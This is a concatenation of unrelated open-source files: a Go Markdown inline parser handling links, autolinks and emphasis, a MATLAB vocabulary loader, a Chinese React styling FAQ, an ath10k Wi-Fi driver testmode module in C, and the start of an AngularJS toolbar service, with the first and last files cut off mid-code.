for titleE > titleB && isSpace(data[titleE]) {
titleE--
}
// check for closing quote presence
if data[titleE] != '\'' && data[titleE] != '"' {
titleB, titleE = 0, 0
linkE = i
}
}
// remove whitespace at the end of the link
for linkE > linkB && isSpace(data[linkE-1]) {
linkE--
}
// remove optional angle brackets around the link
if data[linkB] == '<' {
linkB++
}
if data[linkE-1] == '>' {
linkE--
}
// build escaped link and title
if linkE > linkB {
link = data[linkB:linkE]
}
if titleE > titleB {
title = data[titleB:titleE]
}
i++
// reference style link
case isReferenceStyleLink(data, i, t):
var id []byte
altContentConsidered := false
// look for the id
i++
linkB := i
i = skipUntilChar(data, i, ']')
if i >= len(data) {
return 0, nil
}
linkE := i
// find the reference
if linkB == linkE {
if textHasNl {
var b bytes.Buffer
for j := 1; j < txtE; j++ {
switch {
case data[j] != '\n':
b.WriteByte(data[j])
case data[j-1] != ' ':
b.WriteByte(' ')
}
}
id = b.Bytes()
} else {
id = data[1:txtE]
altContentConsidered = true
}
} else {
id = data[linkB:linkE]
}
// find the reference with matching id
lr, ok := p.getRef(string(id))
if !ok {
return 0, nil
}
// keep link and title from reference
linkID = id
link = lr.link
title = lr.title
if altContentConsidered {
altContent = lr.text
}
i++
// shortcut reference style link or reference or inline footnote
default:
var id []byte
// craft the id
if textHasNl {
var b bytes.Buffer
for j := 1; j < txtE; j++ {
switch {
case data[j] != '\n':
b.WriteByte(data[j])
case data[j-1] != ' ':
b.WriteByte(' ')
}
}
id = b.Bytes()
} else {
if t == linkDeferredFootnote {
id = data[2:txtE] // get rid of the ^
} else {
id = data[1:txtE]
}
}
footnoteNode = &ast.ListItem{}
if t == linkInlineFootnote {
// create a new reference
noteID = len(p.notes) + 1
var fragment []byte
if len(id) > 0 {
if len(id) < 16 {
fragment = make([]byte, len(id))
} else {
fragment = make([]byte, 16)
}
copy(fragment, slugify(id))
} else {
fragment = append([]byte("footnote-"), []byte(strconv.Itoa(noteID))...)
}
ref := &reference{
noteID: noteID,
hasBlock: false,
link: fragment,
title: id,
footnote: footnoteNode,
}
p.notes = append(p.notes, ref)
p.refsRecord[string(ref.link)] = struct{}{}
link = ref.link
title = ref.title
} else {
// find the reference with matching id
lr, ok := p.getRef(string(id))
if !ok {
return 0, nil
}
if t == linkDeferredFootnote && !p.isFootnote(lr) {
lr.noteID = len(p.notes) + 1
lr.footnote = footnoteNode
p.notes = append(p.notes, lr)
p.refsRecord[string(lr.link)] = struct{}{}
}
// keep link and title from reference
link = lr.link
// if inline footnote, title == footnote contents
title = lr.title
noteID = lr.noteID
if len(lr.text) > 0 {
altContent = lr.text
}
}
// rewind the whitespace
i = txtE + 1
}
var uLink []byte
if t == linkNormal || t == linkImg {
if len(link) > 0 {
var uLinkBuf bytes.Buffer
unescapeText(&uLinkBuf, link)
uLink = uLinkBuf.Bytes()
}
// links need something to click on and somewhere to go
if len(uLink) == 0 || (t == linkNormal && txtE <= 1) {
return 0, nil
}
}
// call the relevant rendering function
switch t {
case linkNormal:
link := &ast.Link{
Destination: normalizeURI(uLink),
Title: title,
DeferredID: linkID,
}
if len(altContent) > 0 {
ast.AppendChild(link, newTextNode(altContent))
} else {
// links cannot contain other links, so turn off link parsing
// temporarily and recurse
insideLink := p.insideLink
p.insideLink = true
p.Inline(link, data[1:txtE])
p.insideLink = insideLink
}
return i, link
case linkImg:
image := &ast.Image{
Destination: uLink,
Title: title,
}
ast.AppendChild(image, newTextNode(data[1:txtE]))
return i + 1, image
case linkInlineFootnote, linkDeferredFootnote:
link := &ast.Link{
Destination: link,
Title: title,
NoteID: noteID,
Footnote: footnoteNode,
}
if t == linkDeferredFootnote {
link.DeferredID = data[2:txtE]
}
if t == linkInlineFootnote {
i++
}
return i, link
default:
return 0, nil
}
}
func (p *Parser) inlineHTMLComment(data []byte) int {
if len(data) < 5 {
return 0
}
if data[0] != '<' || data[1] != '!' || data[2] != '-' || data[3] != '-' {
return 0
}
i := 5
// scan for an end-of-comment marker, across lines if necessary
for i < len(data) && !(data[i-2] == '-' && data[i-1] == '-' && data[i] == '>') {
i++
}
// no end-of-comment marker
if i >= len(data) {
return 0
}
return i + 1
}
func stripMailto(link []byte) []byte {
if bytes.HasPrefix(link, []byte("mailto://")) {
return link[9:]
} else if bytes.HasPrefix(link, []byte("mailto:")) {
return link[7:]
} else {
return link
}
}
// autolinkType specifies a kind of autolink that gets detected.
type autolinkType int
// These are the possible flag values for the autolink renderer.
const (
notAutolink autolinkType = iota
normalAutolink
emailAutolink
)
// '<' when tags or autolinks are allowed
func leftAngle(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
if p.extensions&Mmark != 0 {
id, consumed := IsCallout(data)
if consumed > 0 {
node := &ast.Callout{}
node.ID = id
return consumed, node
}
}
altype, end := tagLength(data)
if size := p.inlineHTMLComment(data); size > 0 {
end = size
}
if end <= 2 {
return end, nil
}
if altype == notAutolink {
htmlTag := &ast.HTMLSpan{}
htmlTag.Literal = data[:end]
return end, htmlTag
}
var uLink bytes.Buffer
unescapeText(&uLink, data[1:end+1-2])
if uLink.Len() <= 0 {
return end, nil
}
link := uLink.Bytes()
node := &ast.Link{
Destination: link,
}
if altype == emailAutolink {
node.Destination = append([]byte("mailto:"), link...)
}
ast.AppendChild(node, newTextNode(stripMailto(link)))
return end, node
}
// '\\' backslash escape
var escapeChars = []byte("\\`*_{}[]()#+-.!:|&<>~^")
func escape(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
if len(data) <= 1 {
return 2, nil
}
if p.extensions&NonBlockingSpace != 0 && data[1] == ' ' {
return 2, &ast.NonBlockingSpace{}
}
if p.extensions&BackslashLineBreak != 0 && data[1] == '\n' {
return 2, &ast.Hardbreak{}
}
if bytes.IndexByte(escapeChars, data[1]) < 0 {
return 0, nil
}
return 2, newTextNode(data[1:2])
}
func unescapeText(ob *bytes.Buffer, src []byte) {
i := 0
for i < len(src) {
org := i
for i < len(src) && src[i] != '\\' {
i++
}
if i > org {
ob.Write(src[org:i])
}
if i+1 >= len(src) {
break
}
ob.WriteByte(src[i+1])
i += 2
}
}
// '&' escaped when it doesn't belong to an entity
// valid entities are assumed to be anything matching &#?[A-Za-z0-9]+;
func entity(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
end := skipCharN(data, 1, '#', 1)
end = skipAlnum(data, end)
if end < len(data) && data[end] == ';' {
end++ // real entity
} else {
return 0, nil // lone '&'
}
ent := data[:end]
// undo & escaping or it will be converted to &amp; by another
// escaper in the renderer
if bytes.Equal(ent, []byte("&")) {
ent = []byte{'&'}
}
return end, newTextNode(ent)
}
func linkEndsWithEntity(data []byte, linkEnd int) bool {
entityRanges := htmlEntityRe.FindAllIndex(data[:linkEnd], -1)
return entityRanges != nil && entityRanges[len(entityRanges)-1][1] == linkEnd
}
// hasPrefixCaseInsensitive is a custom implementation of
// strings.HasPrefix(strings.ToLower(s), prefix)
// we rolled our own because ToLower pulls in a huge machinery of lowercasing
// anything from Unicode and that's very slow. Since this func will only be
// used on ASCII protocol prefixes, we can take shortcuts.
func hasPrefixCaseInsensitive(s, prefix []byte) bool {
if len(s) < len(prefix) {
return false
}
delta := byte('a' - 'A')
for i, b := range prefix {
if b != s[i] && b != s[i]+delta {
return false
}
}
return true
}
var protocolPrefixes = [][]byte{
[]byte("http://"),
[]byte("https://"),
[]byte("ftp://"),
[]byte("file://"),
[]byte("mailto:"),
}
const shortestPrefix = 6 // len("ftp://"), the shortest of the above
func maybeAutoLink(p *Parser, data []byte, offset int) (int, ast.Node) {
// quick check to rule out most false hits
if p.insideLink || len(data) < offset+shortestPrefix {
return 0, nil
}
for _, prefix := range protocolPrefixes {
endOfHead := offset + 8 // 8 is the len() of the longest prefix
if endOfHead > len(data) {
endOfHead = len(data)
}
if hasPrefixCaseInsensitive(data[offset:endOfHead], prefix) {
return autoLink(p, data, offset)
}
}
return 0, nil
}
func autoLink(p *Parser, data []byte, offset int) (int, ast.Node) {
// Now a more expensive check to see if we're not inside an anchor element
anchorStart := offset
offsetFromAnchor := 0
for anchorStart > 0 && data[anchorStart] != '<' {
anchorStart--
offsetFromAnchor++
}
anchorStr := anchorRe.Find(data[anchorStart:])
if anchorStr != nil {
anchorClose := &ast.HTMLSpan{}
anchorClose.Literal = anchorStr[offsetFromAnchor:]
return len(anchorStr) - offsetFromAnchor, anchorClose
}
// scan backward for a word boundary
rewind := 0
for offset-rewind > 0 && rewind <= 7 && isLetter(data[offset-rewind-1]) {
rewind++
}
if rewind > 6 { // longest supported protocol is "mailto" which has 6 letters
return 0, nil
}
origData := data
data = data[offset-rewind:]
if !isSafeLink(data) {
return 0, nil
}
linkEnd := 0
for linkEnd < len(data) && !isEndOfLink(data[linkEnd]) {
linkEnd++
}
// Skip punctuation at the end of the link
if (data[linkEnd-1] == '.' || data[linkEnd-1] == ',') && data[linkEnd-2] != '\\' {
linkEnd--
}
// But don't skip semicolon if it's a part of escaped entity:
if data[linkEnd-1] == ';' && data[linkEnd-2] != '\\' && !linkEndsWithEntity(data, linkEnd) {
linkEnd--
}
// See if the link finishes with a punctuation sign that can be closed.
var copen byte
switch data[linkEnd-1] {
case '"':
copen = '"'
case '\'':
copen = '\''
case ')':
copen = '('
case ']':
copen = '['
case '}':
copen = '{'
default:
copen = 0
}
if copen != 0 {
bufEnd := offset - rewind + linkEnd - 2
openDelim := 1
/* Try to close the final punctuation sign in this same line;
* if we managed to close it outside of the URL, that means that it's
* not part of the URL. If it closes inside the URL, that means it
* is part of the URL.
*
* Examples:
*
* foo http://www.pokemon.com/Pikachu_(Electric) bar
* => http://www.pokemon.com/Pikachu_(Electric)
*
* foo (http://www.pokemon.com/Pikachu_(Electric)) bar
* => http://www.pokemon.com/Pikachu_(Electric)
*
* foo http://www.pokemon.com/Pikachu_(Electric)) bar
* => http://www.pokemon.com/Pikachu_(Electric))
*
* (foo http://www.pokemon.com/Pikachu_(Electric)) bar
* => foo http://www.pokemon.com/Pikachu_(Electric)
*/
for bufEnd >= 0 && origData[bufEnd] != '\n' && openDelim != 0 {
if origData[bufEnd] == data[linkEnd-1] {
openDelim++
}
if origData[bufEnd] == copen {
openDelim--
}
bufEnd--
}
if openDelim == 0 {
linkEnd--
}
}
var uLink bytes.Buffer
unescapeText(&uLink, data[:linkEnd])
if uLink.Len() > 0 {
node := &ast.Link{
Destination: uLink.Bytes(),
}
ast.AppendChild(node, newTextNode(uLink.Bytes()))
return linkEnd, node
}
return linkEnd, nil
}
func isEndOfLink(char byte) bool {
return isSpace(char) || char == '<'
}
var validUris = [][]byte{[]byte("http://"), []byte("https://"), []byte("ftp://"), []byte("mailto://")}
var validPaths = [][]byte{[]byte("/"), []byte("./"), []byte("../")}
func isSafeLink(link []byte) bool {
nLink := len(link)
for _, path := range validPaths {
nPath := len(path)
linkPrefix := link[:nPath]
if nLink >= nPath && bytes.Equal(linkPrefix, path) {
if nLink == nPath {
return true
} else if isAlnum(link[nPath]) {
return true
}
}
}
for _, prefix := range validUris {
// TODO: handle unicode here
// case-insensitive prefix test
nPrefix := len(prefix)
if nLink > nPrefix {
linkPrefix := bytes.ToLower(link[:nPrefix])
if bytes.Equal(linkPrefix, prefix) && isAlnum(link[nPrefix]) {
return true
}
}
}
return false
}
// return the length of the given tag, or 0 is it's not valid
func tagLength(data []byte) (autolink autolinkType, end int) {
var i, j int
// a valid tag can't be shorter than 3 chars
if len(data) < 3 {
return notAutolink, 0
}
// begins with a '<' optionally followed by '/', followed by letter or number
if data[0] != '<' {
return notAutolink, 0
}
if data[1] == '/' {
i = 2
} else {
i = 1
}
if !isAlnum(data[i]) {
return notAutolink, 0
}
// scheme test
autolink = notAutolink
// try to find the beginning of an URI
for i < len(data) && (isAlnum(data[i]) || data[i] == '.' || data[i] == '+' || data[i] == '-') {
i++
}
if i > 1 && i < len(data) && data[i] == '@' {
if j = isMailtoAutoLink(data[i:]); j != 0 {
return emailAutolink, i + j
}
}
if i > 2 && i < len(data) && data[i] == ':' {
autolink = normalAutolink
i++
}
// complete autolink test: no whitespace or ' or "
switch {
case i >= len(data):
autolink = notAutolink
case autolink != notAutolink:
j = i
for i < len(data) {
if data[i] == '\\' {
i += 2
} else if data[i] == '>' || data[i] == '\'' || data[i] == '"' || isSpace(data[i]) {
break
} else {
i++
}
}
if i >= len(data) {
return autolink, 0
}
if i > j && data[i] == '>' {
return autolink, i + 1
}
// one of the forbidden chars has been found
autolink = notAutolink
}
i += bytes.IndexByte(data[i:], '>')
if i < 0 {
return autolink, 0
}
return autolink, i + 1
}
// look for the address part of a mail autolink and '>'
// this is less strict than the original markdown e-mail address matching
func isMailtoAutoLink(data []byte) int {
nb := 0
// address is assumed to be: [-@._a-zA-Z0-9]+ with exactly one '@'
for i, c := range data {
if isAlnum(c) {
continue
}
switch c {
case '@':
nb++
case '-', '.', '_':
break
case '>':
if nb == 1 {
return i + 1
}
return 0
default:
return 0
}
}
return 0
}
// look for the next emph char, skipping other constructs
func helperFindEmphChar(data []byte, c byte) int {
i := 0
for i < len(data) {
for i < len(data) && data[i] != c && data[i] != '`' && data[i] != '[' {
i++
}
if i >= len(data) {
return 0
}
// do not count escaped chars
if i != 0 && data[i-1] == '\\' {
i++
continue
}
if data[i] == c {
return i
}
if data[i] == '`' {
// skip a code span
tmpI := 0
i++
for i < len(data) && data[i] != '`' {
if tmpI == 0 && data[i] == c {
tmpI = i
}
i++
}
if i >= len(data) {
return tmpI
}
i++
} else if data[i] == '[' {
// skip a link
tmpI := 0
i++
for i < len(data) && data[i] != ']' {
if tmpI == 0 && data[i] == c {
tmpI = i
}
i++
}
i++
for i < len(data) && (data[i] == ' ' || data[i] == '\n') {
i++
}
if i >= len(data) {
return tmpI
}
if data[i] != '[' && data[i] != '(' { // not a link
if tmpI > 0 {
return tmpI
}
continue
}
cc := data[i]
i++
for i < len(data) && data[i] != cc {
if tmpI == 0 && data[i] == c {
return i
}
i++
}
if i >= len(data) {
return tmpI
}
i++
}
}
return 0
}
func helperEmphasis(p *Parser, data []byte, c byte) (int, ast.Node) {
i := 0
// skip one symbol if coming from emph3
if len(data) > 1 && data[0] == c && data[1] == c {
i = 1
}
for i < len(data) {
length := helperFindEmphChar(data[i:], c)
if length == 0 {
return 0, nil
}
i += length
if i >= len(data) {
return 0, nil
}
if i+1 < len(data) && data[i+1] == c {
i++
continue
}
if data[i] == c && !isSpace(data[i-1]) {
if p.extensions&NoIntraEmphasis != 0 {
if !(i+1 == len(data) || isSpace(data[i+1]) || isPunctuation(data[i+1])) {
continue
}
}
emph := &ast.Emph{}
p.Inline(emph, data[:i])
return i + 1, emph
}
}
return 0, nil
}
func helperDoubleEmphasis(p *Parser, data []byte, c byte) (int, ast.Node) {
i := 0
for i < len(data) {
length := helperFindEmphChar(data[i:], c)
if length == 0 {
return 0, nil
}
i += length
if i+1 < len(data) && data[i] == c && data[i+1] == c && i > 0 && !isSpace(data[i-1]) {
var node ast.Node = &ast.Strong{}
if c == '~' {
node = &ast.Del{}
}
p.Inline(node, data[:i])
return i + 2, node
}
i++
}
return 0, nil
}
func helperTripleEmphasis(p *Parser, data []byte, offset int, c byte) (int, ast.Node) {
i := 0
origData := data
data = data[offset:]
for i < len(data) {
length := helperFindEmphChar(data[i:], c)
if length == 0 {
return 0, nil
}
i += length
// skip whitespace preceded symbols
if data[i] != c || isSpace(data[i-1]) {
continue
}
switch {
case i+2 < len(data) && data[i+1] == c && data[i+2] == c:
// triple symbol found
strong := &ast.Strong{}
em := &ast.Emph{}
ast.AppendChild(strong, em)
p.Inline(em, data[:i])
return i + 3, strong
case i+1 < len(data) && data[i+1] == c:
// double symbol found, hand over to emph1
length, node := helperEmphasis(p, origData[offset-2:], c)
if length == 0 {
return 0, nil
}
return length - 2, node
default:
// single symbol found, hand over to emph2
length, node := helperDoubleEmphasis(p, origData[offset-1:], c)
if length == 0 {
return 0, nil
}
return length - 1, node
}
}
return 0, nil
}
// math handle inline math wrapped with '$'
func math(p *Parser, data []byte, offset int) (int, ast.Node) {
data = data[offset:]
// too short, or block math
if len(data) <= 2 || data[1] == '$' {
return 0, nil
}
// find next '$'
var end int
for end = 1; end < len(data) && data[end] != '$'; end++ {
}
// $ not match
if end == len(data) {
return 0, nil
}
// create inline math node
math := &ast.Math{}
math.Literal = data[1:end]
return end + 1, math
}
func newTextNode(d []byte) *ast.Text {
return &ast.Text{ast.Leaf{Literal: d}}
}
func normalizeURI(s []byte) []byte {
return s // TODO: implement
}
|
{
"pile_set_name": "Github"
}
|
function vocabList = getVocabList()
%GETVOCABLIST reads the fixed vocabulary list in vocab.txt and returns a
%cell array of the words
% vocabList = GETVOCABLIST() reads the fixed vocabulary list in vocab.txt
% and returns a cell array of the words in vocabList.
%% Read the fixed vocabulary list
fid = fopen('vocab.txt');
% Store all dictionary words in cell array vocab{}
n = 1899; % Total number of words in the dictionary
% For ease of implementation, we use a struct to map the strings => integers
% In practice, you'll want to use some form of hashmap
vocabList = cell(n, 1);
for i = 1:n
% Word Index (can ignore since it will be = i)
fscanf(fid, '%d', 1);
% Actual Word
vocabList{i} = fscanf(fid, '%s', 1);
end
fclose(fid);
end
|
{
"pile_set_name": "Github"
}
|
---
id: faq-styling
title: 样式与 CSS
permalink: docs/faq-styling.html
layout: docs
category: FAQ
---
### 如何为组件添加 CSS 的 class? {#how-do-i-add-css-classes-to-components}
传递一个字符串作为 `className` 属性:
```jsx
render() {
return <span className="menu navigation-menu">Menu</span>
}
```
CSS 的 class 依赖组件的 props 或 state 的情况很常见:
```jsx
render() {
let className = 'menu';
if (this.props.isActive) {
className += ' menu-active';
}
return <span className={className}>Menu</span>
}
```
>提示
>
>如果你经常发现自己写类似这样的代码,[classnames](https://www.npmjs.com/package/classnames#usage-with-reactjs) 的 package 可以简化这一过程。
### 可以使用行内样式吗? {#can-i-use-inline-styles}
可以,在[此处](/docs/dom-elements.html#style)查看关于样式的文档。
### 行内样式不好 (bad) 吗? {#are-inline-styles-bad}
从性能角度来说,CSS 的 class 通常比行内样式更好。
### 什么是 CSS-in-JS? {#what-is-css-in-js}
“CSS-in-JS” 是指一种模式,其中 CSS 由 JavaScript 生成而不是在外部文件中定义。
_注意此功能并不是 React 的一部分,而是由第三方库提供。_ React 对样式如何定义并没有明确态度;如果存在疑惑,比较好的方式是和平时一样,在一个单独的 `*.css` 文件定义你的样式,并且通过 [`className`](/docs/dom-elements.html#classname) 指定它们。
### 可以在 React 中实现动画效果吗? {#can-i-do-animations-in-react}
React 可以被用来实现强大的动画效果。参见 [React Transition Group](https://reactcommunity.org/react-transition-group/)、[React Motion](https://github.com/chenglou/react-motion) 以及 [React Spring](https://github.com/react-spring/react-spring) 等示例。
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2014 Qualcomm Atheros, Inc.
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "testmode.h"
#include <net/netlink.h>
#include <linux/firmware.h>
#include "debug.h"
#include "wmi.h"
#include "hif.h"
#include "hw.h"
#include "testmode_i.h"
static const struct nla_policy ath10k_tm_policy[ATH10K_TM_ATTR_MAX + 1] = {
[ATH10K_TM_ATTR_CMD] = { .type = NLA_U32 },
[ATH10K_TM_ATTR_DATA] = { .type = NLA_BINARY,
.len = ATH10K_TM_DATA_MAX_LEN },
[ATH10K_TM_ATTR_WMI_CMDID] = { .type = NLA_U32 },
[ATH10K_TM_ATTR_VERSION_MAJOR] = { .type = NLA_U32 },
[ATH10K_TM_ATTR_VERSION_MINOR] = { .type = NLA_U32 },
};
/* Returns true if callee consumes the skb and the skb should be discarded.
* Returns false if skb is not used. Does not sleep.
*/
bool ath10k_tm_event_wmi(struct ath10k *ar, u32 cmd_id, struct sk_buff *skb)
{
struct sk_buff *nl_skb;
bool consumed;
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE,
"testmode event wmi cmd_id %d skb %p skb->len %d\n",
cmd_id, skb, skb->len);
ath10k_dbg_dump(ar, ATH10K_DBG_TESTMODE, NULL, "", skb->data, skb->len);
spin_lock_bh(&ar->data_lock);
if (!ar->testmode.utf_monitor) {
consumed = false;
goto out;
}
/* Only testmode.c should be handling events from utf firmware,
* otherwise all sort of problems will arise as mac80211 operations
* are not initialised.
*/
consumed = true;
nl_skb = cfg80211_testmode_alloc_event_skb(ar->hw->wiphy,
2 * sizeof(u32) + skb->len,
GFP_ATOMIC);
if (!nl_skb) {
ath10k_warn(ar,
"failed to allocate skb for testmode wmi event\n");
goto out;
}
ret = nla_put_u32(nl_skb, ATH10K_TM_ATTR_CMD, ATH10K_TM_CMD_WMI);
if (ret) {
ath10k_warn(ar,
"failed to to put testmode wmi event cmd attribute: %d\n",
ret);
kfree_skb(nl_skb);
goto out;
}
ret = nla_put_u32(nl_skb, ATH10K_TM_ATTR_WMI_CMDID, cmd_id);
if (ret) {
ath10k_warn(ar,
"failed to to put testmode wmi even cmd_id: %d\n",
ret);
kfree_skb(nl_skb);
goto out;
}
ret = nla_put(nl_skb, ATH10K_TM_ATTR_DATA, skb->len, skb->data);
if (ret) {
ath10k_warn(ar,
"failed to copy skb to testmode wmi event: %d\n",
ret);
kfree_skb(nl_skb);
goto out;
}
cfg80211_testmode_event(nl_skb, GFP_ATOMIC);
out:
spin_unlock_bh(&ar->data_lock);
return consumed;
}
static int ath10k_tm_cmd_get_version(struct ath10k *ar, struct nlattr *tb[])
{
struct sk_buff *skb;
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE,
"testmode cmd get version_major %d version_minor %d\n",
ATH10K_TESTMODE_VERSION_MAJOR,
ATH10K_TESTMODE_VERSION_MINOR);
skb = cfg80211_testmode_alloc_reply_skb(ar->hw->wiphy,
nla_total_size(sizeof(u32)));
if (!skb)
return -ENOMEM;
ret = nla_put_u32(skb, ATH10K_TM_ATTR_VERSION_MAJOR,
ATH10K_TESTMODE_VERSION_MAJOR);
if (ret) {
kfree_skb(skb);
return ret;
}
ret = nla_put_u32(skb, ATH10K_TM_ATTR_VERSION_MINOR,
ATH10K_TESTMODE_VERSION_MINOR);
if (ret) {
kfree_skb(skb);
return ret;
}
return cfg80211_testmode_reply(skb);
}
static int ath10k_tm_cmd_utf_start(struct ath10k *ar, struct nlattr *tb[])
{
char filename[100];
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE, "testmode cmd utf start\n");
mutex_lock(&ar->conf_mutex);
if (ar->state == ATH10K_STATE_UTF) {
ret = -EALREADY;
goto err;
}
/* start utf only when the driver is not in use */
if (ar->state != ATH10K_STATE_OFF) {
ret = -EBUSY;
goto err;
}
if (WARN_ON(ar->testmode.utf != NULL)) {
/* utf image is already downloaded, it shouldn't be */
ret = -EEXIST;
goto err;
}
snprintf(filename, sizeof(filename), "%s/%s",
ar->hw_params.fw.dir, ATH10K_FW_UTF_FILE);
/* load utf firmware image */
ret = request_firmware(&ar->testmode.utf, filename, ar->dev);
if (ret) {
ath10k_warn(ar, "failed to retrieve utf firmware '%s': %d\n",
filename, ret);
goto err;
}
spin_lock_bh(&ar->data_lock);
ar->testmode.utf_monitor = true;
spin_unlock_bh(&ar->data_lock);
BUILD_BUG_ON(sizeof(ar->fw_features) !=
sizeof(ar->testmode.orig_fw_features));
memcpy(ar->testmode.orig_fw_features, ar->fw_features,
sizeof(ar->fw_features));
/* utf.bin firmware image does not advertise firmware features. Do
* an ugly hack where we force the firmware features so that wmi.c
* will use the correct WMI interface.
*/
memset(ar->fw_features, 0, sizeof(ar->fw_features));
__set_bit(ATH10K_FW_FEATURE_WMI_10X, ar->fw_features);
ret = ath10k_hif_power_up(ar);
if (ret) {
ath10k_err(ar, "failed to power up hif (testmode): %d\n", ret);
ar->state = ATH10K_STATE_OFF;
goto err_fw_features;
}
ret = ath10k_core_start(ar, ATH10K_FIRMWARE_MODE_UTF);
if (ret) {
ath10k_err(ar, "failed to start core (testmode): %d\n", ret);
ar->state = ATH10K_STATE_OFF;
goto err_power_down;
}
ar->state = ATH10K_STATE_UTF;
ath10k_info(ar, "UTF firmware started\n");
mutex_unlock(&ar->conf_mutex);
return 0;
err_power_down:
ath10k_hif_power_down(ar);
err_fw_features:
/* return the original firmware features */
memcpy(ar->fw_features, ar->testmode.orig_fw_features,
sizeof(ar->fw_features));
release_firmware(ar->testmode.utf);
ar->testmode.utf = NULL;
err:
mutex_unlock(&ar->conf_mutex);
return ret;
}
static void __ath10k_tm_cmd_utf_stop(struct ath10k *ar)
{
lockdep_assert_held(&ar->conf_mutex);
ath10k_core_stop(ar);
ath10k_hif_power_down(ar);
spin_lock_bh(&ar->data_lock);
ar->testmode.utf_monitor = false;
spin_unlock_bh(&ar->data_lock);
/* return the original firmware features */
memcpy(ar->fw_features, ar->testmode.orig_fw_features,
sizeof(ar->fw_features));
release_firmware(ar->testmode.utf);
ar->testmode.utf = NULL;
ar->state = ATH10K_STATE_OFF;
}
static int ath10k_tm_cmd_utf_stop(struct ath10k *ar, struct nlattr *tb[])
{
int ret;
ath10k_dbg(ar, ATH10K_DBG_TESTMODE, "testmode cmd utf stop\n");
mutex_lock(&ar->conf_mutex);
if (ar->state != ATH10K_STATE_UTF) {
ret = -ENETDOWN;
goto out;
}
__ath10k_tm_cmd_utf_stop(ar);
ret = 0;
ath10k_info(ar, "UTF firmware stopped\n");
out:
mutex_unlock(&ar->conf_mutex);
return ret;
}
static int ath10k_tm_cmd_wmi(struct ath10k *ar, struct nlattr *tb[])
{
struct sk_buff *skb;
int ret, buf_len;
u32 cmd_id;
void *buf;
mutex_lock(&ar->conf_mutex);
if (ar->state != ATH10K_STATE_UTF) {
ret = -ENETDOWN;
goto out;
}
if (!tb[ATH10K_TM_ATTR_DATA]) {
ret = -EINVAL;
goto out;
}
if (!tb[ATH10K_TM_ATTR_WMI_CMDID]) {
ret = -EINVAL;
goto out;
}
buf = nla_data(tb[ATH10K_TM_ATTR_DATA]);
buf_len = nla_len(tb[ATH10K_TM_ATTR_DATA]);
cmd_id = nla_get_u32(tb[ATH10K_TM_ATTR_WMI_CMDID]);
ath10k_dbg(ar, ATH10K_DBG_TESTMODE,
"testmode cmd wmi cmd_id %d buf %p buf_len %d\n",
cmd_id, buf, buf_len);
ath10k_dbg_dump(ar, ATH10K_DBG_TESTMODE, NULL, "", buf, buf_len);
skb = ath10k_wmi_alloc_skb(ar, buf_len);
if (!skb) {
ret = -ENOMEM;
goto out;
}
memcpy(skb->data, buf, buf_len);
ret = ath10k_wmi_cmd_send(ar, skb, cmd_id);
if (ret) {
ath10k_warn(ar, "failed to transmit wmi command (testmode): %d\n",
ret);
goto out;
}
ret = 0;
out:
mutex_unlock(&ar->conf_mutex);
return ret;
}
int ath10k_tm_cmd(struct ieee80211_hw *hw, struct ieee80211_vif *vif,
void *data, int len)
{
struct ath10k *ar = hw->priv;
struct nlattr *tb[ATH10K_TM_ATTR_MAX + 1];
int ret;
ret = nla_parse(tb, ATH10K_TM_ATTR_MAX, data, len,
ath10k_tm_policy);
if (ret)
return ret;
if (!tb[ATH10K_TM_ATTR_CMD])
return -EINVAL;
switch (nla_get_u32(tb[ATH10K_TM_ATTR_CMD])) {
case ATH10K_TM_CMD_GET_VERSION:
return ath10k_tm_cmd_get_version(ar, tb);
case ATH10K_TM_CMD_UTF_START:
return ath10k_tm_cmd_utf_start(ar, tb);
case ATH10K_TM_CMD_UTF_STOP:
return ath10k_tm_cmd_utf_stop(ar, tb);
case ATH10K_TM_CMD_WMI:
return ath10k_tm_cmd_wmi(ar, tb);
default:
return -EOPNOTSUPP;
}
}
void ath10k_testmode_destroy(struct ath10k *ar)
{
mutex_lock(&ar->conf_mutex);
if (ar->state != ATH10K_STATE_UTF) {
/* utf firmware is not running, nothing to do */
goto out;
}
__ath10k_tm_cmd_utf_stop(ar);
out:
mutex_unlock(&ar->conf_mutex);
}
|
{
"pile_set_name": "Github"
}
|
angular.module('platformWebApp')
.factory('platformWebApp.toolbarService', function () {
var toolbarCommandsMap = [];
return {
register: function (toolbarItem, toolbarController) {
var map = toolbarCommandsMap;
if (!map[toolbarController]) {
map[toolbarController] = [];
}
map[toolbarController].push(toolbarItem);
map[toolbarController].sort(function (a, b) {
return a.index - b.index;
});
},
tryRegister: function (toolbarItem, toolbarController) {
var map = toolbarCommandsMap;
if (!map[toolbarController] || !_.findWhere(map[toolbarController], { name: toolbarItem.name })) {
this.register(toolbarItem, toolbarController);
}
},
resolve: function (bladeCommands, toolbarController) {
var externalCommands = toolbarCommandsMap[toolbarController];
if (externalCommands) {
bladeCommands = angular.copy(bladeCommands || []);
_.each(externalCommands, function (newCommand) {
var overrideIndex = _.findIndex(bladeCommands, function (bladeCommand) {
return bladeCommand.name === newCommand.name;
});
var deleteCount = overrideIndex >= 0 ? 1 : 0;
overrideIndex = overrideIndex >= 0 ? overrideIndex : newCommand.index;
bladeCommands.splice(overrideIndex, deleteCount, newCommand);
});
}
return bladeCommands;
}
};
})
.directive('vaBladeContainer', ['platformWebApp.bladeNavigationService', function (bladeNavigationService) {
return {
restrict: 'E',
replace: true,
